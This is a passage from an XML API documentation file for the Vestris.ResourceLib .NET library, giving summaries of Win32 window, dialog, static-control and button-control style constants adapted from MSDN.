bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_SYSMENU\">\n            <summary>\n            Creates a window that has a window menu on its title bar. The WS_CAPTION \n            style must also be specified.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_THICKFRAME\">\n            <summary>\n            Creates a window that has a sizing border. Same as the WS_SIZEBOX style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_GROUP\">\n            <summary>\n            Specifies the first control of a group of controls. The group consists of this\n            first control and all controls defined after it, up to the next control with \n            the WS_GROUP style. The first control in each group usually has the WS_TABSTOP\n            style so that the user can move from group to group. The user can subsequently\n            change the keyboard focus from one control in the group to the next control in \n            the group by using the direction keys. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_TABSTOP\">\n            <summary>\n            Specifies a control that can receive the keyboard focus when the user presses \n            the TAB key. Pressing the TAB key changes the keyboard focus to the next \n            control with the WS_TABSTOP style. \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DialogStyles\">\n            <summary>\n            Dialog styles.\n            http://msdn.microsoft.com/en-us/library/ms644994(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_ABSALIGN\">\n            <summary>\n            Specifying this style in the dialog template tells Windows that the dtX and dtY values\n            of the DIALOGTEMPLATE struct are relative to the screen origin, not the owner of the \n            dialog box. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_SYSMODAL\">\n            <summary>\n            Create a dialog box with the WS_EX_TOPMOST flag. This flag cannot be combined with the \n            DS_CONTROL style. This flag is obsolete and is included for compatibility with 16-bit \n            versions of Windows. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_LOCALEDIT\">\n            <summary>\n            Applies to 16-bit applications only. This style directs edit controls in the dialog\n            box to allocate memory from the application data segment. Otherwise, edit controls\n            allocate storage from a global memory object.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_SETFONT\">\n            <summary>\n            Indicates that the header of the dialog box template contains additional data specifying\n            the font to use for text in the client area and controls of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_MODALFRAME\">\n            <summary>\n            Creates a dialog box with a modal dialog-box frame that can be combined with a title\n            bar and window menu by specifying the WS_CAPTION and WS_SYSMENU styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_NOIDLEMSG\">\n            <summary>\n            Suppresses WM_ENTERIDLE messages that the system would otherwise send to the owner of the\n            dialog box while the dialog box is displayed.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_SETFOREGROUND\">\n            <summary>\n            Causes the system to use the SetForegroundWindow function to bring the dialog \n            box to the foreground. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_3DLOOK\">\n            <summary>\n            Gives the dialog box a nonbold font and draws three-dimensional borders around\n            control windows in the dialog box. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_FIXEDSYS\">\n            <summary>\n            Causes the dialog box to use the SYSTEM_FIXED_FONT instead of the default SYSTEM_FONT. \n            This is a monospace font compatible with the System font in 16-bit versions of Windows\n            earlier than 3.0.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_NOFAILCREATE\">\n            <summary>\n            Creates the dialog box even if errors occur — for example, if a child window cannot be \n            created or if the system cannot create a special data segment for an edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_CONTROL\">\n            <summary>\n            Creates a dialog box that works well as a child window of another dialog box,\n            much like a page in a property sheet. This style allows the user to tab among\n            the control windows of a child dialog box, use its accelerator keys, and so on.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_CENTER\">\n            <summary>\n            Centers the dialog box in the working area; that is, the area not obscured by the tray.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_CENTERMOUSE\">\n            <summary>\n            Centers the dialog box on the mouse cursor.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_CONTEXTHELP\">\n            <summary>\n            Includes a question mark in the title bar of the dialog box. When the user clicks the \n            question mark, the cursor changes to a question mark with a pointer. If the user then \n            clicks a control in the dialog box, the control receives a WM_HELP message. The control\n            should pass the message to the dialog box procedure, which should call the function \n            using the HELP_WM_HELP command. The help application displays a pop-up window that \n            typically contains help for the control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_SHELLFONT\">\n            <summary>\n            Indicates that the dialog box should use the system font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_USEPIXELS\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.ExtendedDialogStyles\">\n            <summary>\n            Extended dialog styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_DLGMODALFRAME\">\n            <summary>\n            Creates a window that has a double border; the window can, optionally, be created \n            with a title bar by specifying the WS_CAPTION style in the dwStyle parameter.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_NOPARENTNOTIFY\">\n            <summary>\n            Specifies that a child window created with this style does not send the WM_PARENTNOTIFY \n            message to its parent window when it is created or destroyed.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_TOPMOST\">\n            <summary>\n            Specifies that a window created with this style should be placed above all non-topmost \n            windows and should stay above them, even when the window is deactivated. To add or remove\n            this style, use the SetWindowPos function.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_ACCEPTFILES\">\n            <summary>\n            Specifies that a window created with this style accepts drag-drop files.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_TRANSPARENT\">\n            <summary>\n            Specifies that a window created with this style should not be painted until siblings beneath\n            the window (that were created by the same thread) have been painted. The window appears \n            transparent because the bits of underlying sibling windows have already been painted.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_MDICHILD\">\n            <summary>\n            Creates a multiple-document interface (MDI) child window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_TOOLWINDOW\">\n            <summary>\n            Creates a tool window; that is, a window intended to be used as a floating toolbar. \n            A tool window has a title bar that is shorter than a normal title bar, and the\n            window title is drawn using a smaller font. A tool window does not appear in \n            the taskbar or in the dialog that appears when the user presses ALT+TAB. If a \n            tool window has a system menu, its icon is not displayed on the title bar. However, \n            you can display the system menu by right-clicking or by typing ALT+SPACE. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_WINDOWEDGE\">\n            <summary>\n            Specifies that a window has a border with a raised edge.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_CLIENTEDGE\">\n            <summary>\n            Specifies that a window has a border with a sunken edge.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_CONTEXTHELP\">\n            <summary>\n            Includes a question mark in the title bar of the window. When the user clicks the question mark,\n            the cursor changes to a question mark with a pointer. If the user then clicks a child window,\n            the child receives a WM_HELP message. The child window should pass the message to the parent\n            window procedure, which should call the WinHelp function using the HELP_WM_HELP command. The \n            Help application displays a pop-up window that typically contains help for the child window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_RIGHT\">\n            <summary>\n            The window has generic \"right-aligned\" properties. This depends on the window class. This style has \n            an effect only if the shell language is Hebrew, Arabic, or another language that supports reading-order\n            alignment; otherwise, the style is ignored. Using the WS_EX_RIGHT style for static or edit controls \n            has the same effect as using the SS_RIGHT or ES_RIGHT style, respectively. Using this style with \n            button controls has the same effect as using BS_RIGHT and BS_RIGHTBUTTON styles. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_LEFT\">\n            <summary>\n            Creates a window that has generic left-aligned properties. This is the default.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_RTLREADING\">\n            <summary>\n            If the shell language is Hebrew, Arabic, or another language that supports reading-order \n            alignment, the window text is displayed using right-to-left reading-order properties. \n            For other languages, the style is ignored.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_LTRREADING\">\n            <summary>\n            The window text is displayed using left-to-right reading-order properties. This is the default.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_LEFTSCROLLBAR\">\n            <summary>\n            If the shell language is Hebrew, Arabic, or another language that supports reading order \n            alignment, the vertical scroll bar (if present) is to the left of the client area. For other\n            languages, the style is ignored.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_RIGHTSCROLLBAR\">\n            <summary>\n            Vertical scroll bar (if present) is to the right of the client area. This is the default.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_CONTROLPARENT\">\n            <summary>\n            The window itself contains child windows that should take part in dialog box navigation. \n            If this style is specified, the dialog manager recurses into children of this window when\n            performing navigation operations such as handling the TAB key, an arrow key, or a \n            keyboard mnemonic.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_STATICEDGE\">\n            <summary>\n            Creates a window with a three-dimensional border style intended to be used for items that \n            do not accept user input.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_APPWINDOW\">\n            <summary>\n            Forces a top-level window onto the taskbar when the window is visible.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_OVERLAPPEDWINDOW\">\n            <summary>\n            Combines the WS_EX_CLIENTEDGE and WS_EX_WINDOWEDGE styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_PALETTEWINDOW\">\n            <summary>\n            Combines the WS_EX_WINDOWEDGE, WS_EX_TOOLWINDOW, and WS_EX_TOPMOST styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_LAYERED\">\n            <summary>\n            Windows 2000/XP: Creates a layered window. Note that this cannot be used for child \n            windows. Also, this cannot be used if the window has a class style of either CS_OWNDC\n            or CS_CLASSDC. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_NOINHERITLAYOUT\">\n            <summary>\n            Windows 2000/XP: A window created with this style does not pass its window layout to its child windows.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_LAYOUTRTL\">\n            <summary>\n            Arabic and Hebrew versions of Windows 98/Me, Windows 2000/XP: Creates a window whose\n            horizontal origin is on the right edge. Increasing horizontal values advance to the left. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_COMPOSITED\">\n            <summary>\n            Windows XP: Paints all descendants of a window in bottom-to-top painting order \n            using double-buffering. For more information, see Remarks. This cannot be used\n            if the window has a class style of either CS_OWNDC or CS_CLASSDC. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_NOACTIVATE\">\n            <summary>\n            Windows 2000/XP: A top-level window created with this style does not become the foreground\n            window when the user clicks it. The system does not bring this window to the foreground \n            when the user minimizes or closes the foreground window.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DialogItemClass\">\n            <summary>\n            Possible DIALOGEXITEMTEMPLATE WindowClass ordinals.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.Button\">\n            <summary>\n            A button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.Edit\">\n            <summary>\n            An edit box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.Static\">\n            <summary>\n            A static control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.ListBox\">\n            <summary>\n            A list box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.ScrollBar\">\n            <summary>\n            A scroll bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.ComboBox\">\n            <summary>\n            A combo box.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.StaticControlStyles\">\n            <summary>\n            Static control styles.\n            A static control specifies the STATIC class, appropriate window style constants, \n            and a combination of the following static control styles.\n            http://msdn.microsoft.com/en-us/library/bb760773(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_LEFT\">\n            <summary>\n            Specifies a simple rectangle and left-aligns the text in the rectangle. \n            The text is formatted before it is displayed. Words that extend past the \n            end of a line are automatically wrapped to the beginning of the next left-aligned\n            line. Words that are longer than the width of the control are truncated.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_CENTER\">\n            <summary>\n            Specifies a simple rectangle and centers the text in the rectangle. \n            The text is formatted before it is displayed. Words that extend past the \n            end of a line are automatically wrapped to the beginning of the next centered \n            line. Words that are longer than the width of the control are truncated.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_RIGHT\">\n            <summary>\n            Specifies a simple rectangle and right-aligns the text in the rectangle. \n            The text is formatted before it is displayed. Words that extend past the \n            end of a line are automatically wrapped to the beginning of the next \n            right-aligned line. Words that are longer than the width of the control \n            are truncated.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ICON\">\n            <summary>\n            Specifies an icon to be displayed in the dialog box. If the control is created \n            as part of a dialog box, the text is the name of an icon (not a filename) defined \n            elsewhere in the resource file. If the control is created via CreateWindow or a \n            related function, the text is the name of an icon (not a filename) defined in the\n            resource file associated with the module specified by the hInstance parameter to \n            CreateWindow. The icon can be an animated cursor.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_BLACKRECT\">\n            <summary>\n            Specifies a rectangle filled with the current window frame color.\n            This color is black in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_GRAYRECT\">\n            <summary>\n            Specifies a rectangle filled with the current screen background color. \n            This color is gray in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_WHITERECT\">\n            <summary>\n            Specifies a rectangle filled with the current window background color. This color is white \n            in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_BLACKFRAME\">\n            <summary>\n            Specifies a box with a frame drawn in the same color as the window frames. \n            This color is black in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_GRAYFRAME\">\n            <summary>\n            Specifies a box with a frame drawn with the same color as the screen background (desktop).\n            This color is gray in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_WHITEFRAME\">\n            <summary>\n            Specifies a box with a frame drawn with the same color as the window background. This color is \n            white in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_USERITEM\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_SIMPLE\">\n            <summary>\n            Specifies a simple rectangle and displays a single line of left-aligned text in the rectangle.\n            The text line cannot be shortened or altered in any way. Also, if the control is disabled,\n            the control does not gray its text.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_LEFTNOWORDWRAP\">\n            <summary>\n            Specifies a simple rectangle and left-aligns the text in the rectangle. \n            Tabs are expanded, but words are not wrapped. Text that extends past the \n            end of a line is clipped.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_OWNERDRAW\">\n            <summary>\n            Specifies that the owner of the static control is responsible for drawing \n            the control. The owner window receives a WM_DRAWITEM message whenever the\n            control needs to be drawn.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_BITMAP\">\n            <summary>\n            Specifies that a bitmap is to be displayed in the static control. \n            The text is the name of a bitmap (not a filename) defined elsewhere in the \n            resource file. The style ignores the nWidth and nHeight parameters; the control \n            automatically sizes itself to accommodate the bitmap.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ENHMETAFILE\">\n            <summary>\n            Specifies that an enhanced metafile is to be displayed in the static control.\n            The text is the name of a metafile. An enhanced metafile static control has a \n            fixed size; the metafile is scaled to fit the static control's client area.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ETCHEDHORZ\">\n            <summary>\n            Draws the top and bottom edges of the static control using the EDGE_ETCHED edge style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ETCHEDVERT\">\n            <summary>\n            Draws the left and right edges of the static control using the EDGE_ETCHED edge style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ETCHEDFRAME\">\n            <summary>\n            Draws the frame of the static control using the EDGE_ETCHED edge style. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_TYPEMASK\">\n            <summary>\n            Windows 2000: A composite style bit that results from using the OR operator on \n            SS_* style bits. Can be used to mask out valid SS_* bits from a given bitmask.\n            Note that this is out of date and does not correctly include all valid styles.\n            Thus, you should not use this style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_REALSIZECONTROL\">\n            <summary>\n            Windows XP or later: Adjusts the bitmap to fit the size of the static control.\n            For example, changing the locale can change the system font, and thus controls\n            might be resized. If a static control had a bitmap, the bitmap would no longer\n            fit the control. This style bit dictates automatic redimensioning of bitmaps \n            to fit their controls. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_NOPREFIX\">\n            <summary>\n            Prevents interpretation of any ampersand characters in the control's text as\n            accelerator prefix characters. These are displayed with the ampersand removed and \n            the next character in the string underlined. This static control style may be \n            included with any of the defined static controls. You can combine SS_NOPREFIX \n            with other styles. This can be useful when filenames or other strings that may \n            contain an ampersand must be displayed in a static control in a dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_NOTIFY\">\n            <summary>\n            Sends the parent window STN_CLICKED, STN_DBLCLK, STN_DISABLE, and STN_ENABLE \n            notification messages when the user clicks or double-clicks the control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_CENTERIMAGE\">\n            <summary>\n            Specifies that a bitmap is centered in the static control that contains it. \n            The control is not resized, so that a bitmap too large for the control will \n            be clipped. If the static control contains a single line of text, the text \n            is centered vertically in the client area of the control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_RIGHTJUST\">\n            <summary>\n            Specifies that the lower right corner of a static control with the SS_BITMAP\n            or SS_ICON style is to remain fixed when the control is resized. Only the top\n            and left sides are adjusted to accommodate a new bitmap or icon.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_REALSIZEIMAGE\">\n            <summary>\n            Specifies that the actual resource width is used and the icon is loaded using\n            LoadImage. SS_REALSIZEIMAGE is always used in conjunction with SS_ICON. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_SUNKEN\">\n            <summary>\n            Draws a half-sunken border around a static control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_EDITCONTROL\">\n            <summary>\n            Microsoft Windows 2000: Specifies that the static control duplicates the \n            text-displaying characteristics of a multiline edit control. Specifically, the \n            average character width is calculated in the same manner as with an edit control, \n            and the function does not display a partially visible last line.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ENDELLIPSIS\">\n            <summary>\n            Microsoft Windows NT or later: If the end of a string does not fit in the rectangle,\n            it is truncated and ellipses are added. If a word that is not at the end of the string \n            goes beyond the limits of the rectangle, it is truncated without ellipses. Using this \n            style will force the controls text to be on one line with no word wrap. Compare with \n            SS_PATHELLIPSIS and SS_WORDELLIPSIS.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_PATHELLIPSIS\">\n            <summary>\n            Windows NT or later: Replaces characters in the middle of the string with ellipses so \n            that the result fits in the specified rectangle. If the string contains backslash (\\) \n            characters, SS_PATHELLIPSIS preserves as much as possible of the text after the last \n            backslash. Using this style will force the controls text to be on one line with no \n            word wrap. Compare with SS_ENDELLIPSIS and SS_WORDELLIPSIS.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_WORDELLIPSIS\">\n            <summary>\n            Windows NT or later: Truncates any word that does not fit in the rectangle and adds ellipses. \n            Using this style will force the controls text to be on one line with no word wrap. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ELLIPSISMASK\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.ButtonControlStyles\">\n            <summary>\n            Push button styles.\n            http://msdn.microsoft.com/en-us/library/bb775951(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_PUSHBUTTON\">\n            <summary>\n            Creates a push button that posts a WM_COMMAND message to the owner window when the\n            user selects the button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_DEFPUSHBUTTON\">\n            <summary>\n            Creates a push button that behaves like a BS_PUSHBUTTON style button, but has a distinct\n            appearance. If the button is in a dialog box, the user can select the button by pressing\n            the ENTER key, even when the button does not have the input focus. This style is useful \n            for enabling the user to quickly select the most likely (default) option.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_CHECKBOX\">\n            <summary>\n            Creates a small, empty check box with text. By default, the text is displayed to\n            the right of the check box. To display the text to the left of the check box, \n            combine this flag with the BS_LEFTTEXT style (or with the equivalent BS_RIGHTBUTTON style).\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_AUTOCHECKBOX\">\n            <summary>\n            Creates a button that is the same as a check box, except that the check state \n            automatically toggles between checked and cleared each time the user selects the\n            check box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_RADIOBUTTON\">\n            <summary>\n            Creates a small circle with text. By default, the text is displayed to the right of the\n            circle. To display the text to the left of the circle, combine this flag with the \n            BS_LEFTTEXT style (or with the equivalent BS_RIGHTBUTTON style). Use radio buttons for \n            groups of related, but mutually exclusive choices.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_3STATE\">\n            <summary>\n            Creates a button that is the same as a check box, except that the box can be grayed\n            as well as checked or cleared. Use the grayed state to show that the state of the \n            check box is not determined.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_AUTO3STATE\">\n            <summary>\n            Creates a button that is the same as a three-state check box, except that the box \n            changes its state when the user selects it. The state cycles through checked, \n            indeterminate, and cleared.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_GROUPBOX\">\n            <summary>\n            Creates a rectangle in which other controls can be grouped. Any text associated with\n            this style is displayed in the rectangle's upper left corner.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_USERBUTTON\">\n            <summary>\n            Obsolete, but provided for compatibility with 16-bit versions of Windows. Applications \n            should use BS_OWNERDRAW instead.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_AUTORADIOBUTTON\">\n            <summary>\n            Creates a button that is the same as a radio button, except that when the user selects it,\n            the system automatically sets the button's check state to checked and automatically sets \n            the check state for all other buttons in the same group to cleared.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_PUSHBOX\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_OWNERDRAW\">\n            <summary>\n            Creates an owner-drawn button. The owner window receives a WM_DRAWITEM message when a visual \n            aspect of the button has changed. Do not combine the BS_OWNERDRAW style with any other\n            button styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_TYPEMASK\">\n            <summary>\n            Microsoft Windows 2000: A composite style bit that results from using the OR operator on\n            BS_* style bits. It can be used to mask out valid BS_* bits from a given bitmask.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_LEFTTEXT\">\n            <summary>\n            Places text on the left side of the radio button or check box when combined with a radio button\n            or check box style. Same as the BS_RIGHTBUTTON style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_TEXT\">\n            <summary>\n            Specifies that the button displays text.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_ICON\">\n            <summary>\n            Specifies that the button displays an icon.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_BITMAP\">\n            <summary>\n            Specifies that the button displays a bitmap. See the Remarks section for its interaction\n            with BS_ICON.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_LEFT\">\n            <summary>\n            Left-justifies the text in the button rectangle. However, if the button is a check box or radio\n            button that does not have the BS_RIGHTBUTTON style, the text is left justified on the right side\n            of the check box or radio button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_RIGHT\">\n            <summary>\n            Right-justifies text in the button rectangle. However, if the button is a check box or radio\n            button that does not have the BS_RIGHTBUTTON style, the text is right justified on the right\n            side of the check box or radio button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_CENTER\">\n            <summary>\n            Centers text horizontally in the button rectangle.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_TOP\">\n            <summary>\n            Places text at the top of the button rectangle.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_BOTTOM\">\n            <summary>\n            Places text at the bottom of the button rectangle.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_VCENTER\">\n            <summary>\n            Places text in the middle (vertically) of the button rectangle.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_PUSHLIKE\">\n            <summary>\n            Makes a button (such as a check box, three-state check box, or radio button) look and \n            act like a push button. The button looks raised when it isn't pushed or checked, and \n            sunken when it is pushed or checked.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_MULTILINE\">\n            <summary>\n            Wraps the button text to multiple lines if the text string is too long to fit on a \n            single line in the button rectangle.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_NOTIFY\">\n            <summary>\n            Enables a button to send BN_KILLFOCUS and BN_SETFOCUS notification messages to its \n            parent window. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_FLAT\">\n            <summary>\n            Specifies that the button is two-dimensional; it does not use the default \n            shading to create a 3-D image. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_DEFSPLITBUTTON\">\n            <summary>\n            Microsoft Windows Vista and Version 6.00. Creates a split button that behaves like a \n            BS_PUSHBUTTON style button, but also has a distinctive appearance. If the split button \n            is in a dialog box, the user can select the split button by pressing the ENTER key, even \n            when the split button does not have the input focus. This style is useful for enabling\n            the user to quickly select the most likely (default) option.\n            </summary>\n        </member>\n        <member 